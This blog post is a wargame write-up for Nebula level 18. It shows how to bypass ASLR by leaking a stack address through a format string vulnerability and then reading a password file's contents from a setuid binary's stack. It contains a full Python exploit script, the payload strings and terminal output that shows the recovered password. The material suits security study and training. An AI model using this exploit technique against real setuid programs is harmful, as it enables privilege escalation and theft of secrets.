In this post I will explain how ASLR can be defeated using information leak. I tried to solve Nebula [18] by taking advantage of format string vulnerability and information leak. The idea is to call the "login" function, then fgets() is used to copy the password into the stack. Then call the "notsupported" function and use the format string vulnerability to read the password from the stack. But the problem is file[64] buffer is small, during the call to "notsupported" function the password of previous stack frame is overwritten. So this is not a solution but just a POC how this approach can be used incase the data is not overwritten.
Even if the buffer is big enough, we still have ASLR which will make this attack difficult. ASLR will randomize the address of file buffer during each run. What we will do is call "notsupported" function twice. First time to read some address from the live running process using format string vulnerability, compute the new address of file buffer using the leaked information, call the "notsupported" again with the final payload to read the password.
To demostrate this, declare the buffer size to be file[512]. Nebula root account is used to compile a new binary with necessary permission changes. Also disable ASLR for debugging purpose, we will enable it by the end. GDB is used to find the address of file[512] buffer 0xbffff3fc.
level18@nebula:/tmp$ ls -ld /home/flag18/flag18_leak -rwsr-sr-x 1 flag18 level18 17372 2012-01-27 07:33 /home/flag18/flag18_leak //login function #define PWFILE "/home/flag18/password" void login(char *pw) { FILE *fp; fp = fopen(PWFILE, "r"); if(fp) { char file[512]; //buffer size modified for demonstration if(fgets(file, sizeof(file) - 1, fp) == NULL) { dprintf("Unable to read password file %s\n", PWFILE); return; } fclose(fp); if(strcmp(pw, file) != 0) return; } dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : ""); globals.loggedin = 1; }We pick up a address from the stack, here its the 8th DWORD. The difference between the address picked from this position and file[512] is found to be 0x240 bytes.
exploit.py
#!/usr/bin/env python import os import sys from time import sleep from string import find,rfind from struct import pack pipe_r, pipe_w = os.pipe() param = ["/home/flag18/flag18_leak","-dformat","-vvv"] pid = os.fork() if pid == 0: # child process os.close(pipe_w) os.dup2(pipe_r, 0) os.execl(param[0],param[0],param[1],param[2]) # parent process #file_addr = 0xbffff3fc #rand_addr = 0xbffff63c os.close(pipe_r) diff = 0x240 # rand_addr - file_addr payload = "login\nsite exec ZZAAAA.%p.%p.%p.%p.%p.%p.%p|%p|%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\n" os.write(pipe_w, payload) sleep(3) #wait till the file is created for read leak_data = open(param[1][2:],"r").read() rand_addr = eval(leak_data[find(leak_data,'|0')+1:rfind(leak_data,'|')]) file_addr = rand_addr - diff #randomized address of file[512] buffer print("[*] Using address: {0}".format(hex(file_addr))) final_payload = "login\nsite exec ZZ" + pack("<I",file_addr) + ".%p.%p.%p.%p.%p.%p.%p|%p|%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%s\n" os.write(pipe_w, final_payload)Without ASLR
level18@nebula:/tmp$ cat /proc/sys/kernel/randomize_va_space 0 level18@nebula:/tmp$ python exploit.py [*] Using address: 0xbffff3fcL level18@nebula:/tmp$ cat format | tail -1 ZZ����.0x217191.0x804c008.0x8048f3f.0xbffff61c.0x804c308.0xbffff641.0x8048f57|0xbffff63c|0x8048b86.0xbffff646.0x8048fca.0x9.0xbffff63c.(nil).0x11f74d.0xbffff804.0xbffff7f4.0x134be8.0x1.0xb7fffb18.0x65746973.0x65786520.0x5a5a2063.44226113-d394-4f46-9406-91888128e27aWith ASLR
level18@nebula:/tmp$ cat /proc/sys/kernel/randomize_va_space 2 level18@nebula:/tmp$ python exploit.py [*] Using address: 0xbfc3b37cL level18@nebula:/tmp$ cat format | tail -1 ZZ|�ÿ.0x432191.0x9ef3008.0x8048f3f.0xbfc3b59c.0x9ef3308.0xbfc3b5c1.0x8048f57|0xbfc3b5bc|0x8048b86.0xbfc3b5c6.0x8048fca.0x9.0xbfc3b5bc.(nil).0xcf774d.0xbfc3b784.0xbfc3b774.0x34fbe8.0x1.0xb7721b18.0x65746973.0x65786520.0x5a5a2063.44226113-d394-4f46-9406-91888128e27a level18@nebula:/tmp$ python exploit.py [*] Using address: 0xbf93d0bcL level18@nebula:/tmp$ cat format | tail -1 ZZ�Г�.0x1f6191.0x97f5008.0x8048f3f.0xbf93d2dc.0x97f5308.0xbf93d301.0x8048f57|0xbf93d2fc|0x8048b86.0xbf93d306.0x8048fca.0x9.0xbf93d2fc.(nil).0x32f74d.0xbf93d4c4.0xbf93d4b4.0x113be8.0x1.0xb77fab18.0x65746973.0x65786520.0x5a5a2063.44226113-d394-4f46-9406-91888128e27aAs you can see, we managed to read the password 44226113-d394-4f46-9406-91888128e27a from the stack using format string vulnerability bypassing ASLR.
No comments :
Post a Comment